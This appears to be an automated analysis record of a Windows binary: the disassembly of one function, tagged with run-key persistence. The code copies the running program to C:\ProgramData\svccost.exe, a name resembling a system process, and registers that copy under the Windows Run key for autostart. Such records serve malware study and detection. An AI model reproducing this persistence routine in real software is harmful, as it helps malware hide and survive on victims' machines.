Function at 0x455930
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5bf396
mov eax, dword fs:[0]
push eax
sub esp, 0x378
mov eax, dword [0x64ef14]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ax, word [0x644ec4]
movups xmm0, xmmword [str.C:ProgramData_svccost.exe]
mov word [ebp - 0xfc], ax
mov al, byte [0x644ec6]
push 0xe9
mov byte [ebp - 0xfa], al
lea eax, [ebp - 0xf9]
movups xmmword [ebp - 0x114], xmm0
push 0
movq xmm0, qword [0x644ebc]
push eax
movq qword [ebp - 0x104], xmm0
call fcn.00599040
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x384]
call fcn.00455da0
sub esp, 0xc
mov dword [ebp - 4], 0
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x2cc]
push eax
call fcn.00455ca0
lea eax, [ebp - 0x374]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x2cc]
call fcn.00455eb0
lea eax, [ebp - 0x21c]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x455a56
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x455a24
sub eax, edx
push eax
lea eax, [ebp - 0x114]
push eax
push 1
push 0
push 0x644f24
push dword [ebp - 0x21c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x21c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x2cc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2cc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x2d0], eax
lea ecx, [ebp - 0x2c8]
call fcn.0044e0d0
mov eax, dword [ebp - 0x2cc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2cc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x2d0], eax
lea eax, [ebp - 0x264]
mov byte [ebp - 4], 2
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0057e61b
mov eax, dword [ebp - 0x384]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x384]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x388], eax
lea ecx, [ebp - 0x374]
call fcn.0044e0d0
mov eax, dword [ebp - 0x384]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x384]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x388], eax
lea eax, [ebp - 0x314]
mov dword [ebp - 4], 3
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0057e61b
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0057ffc6
mov esp, ebp
pop ebp
ret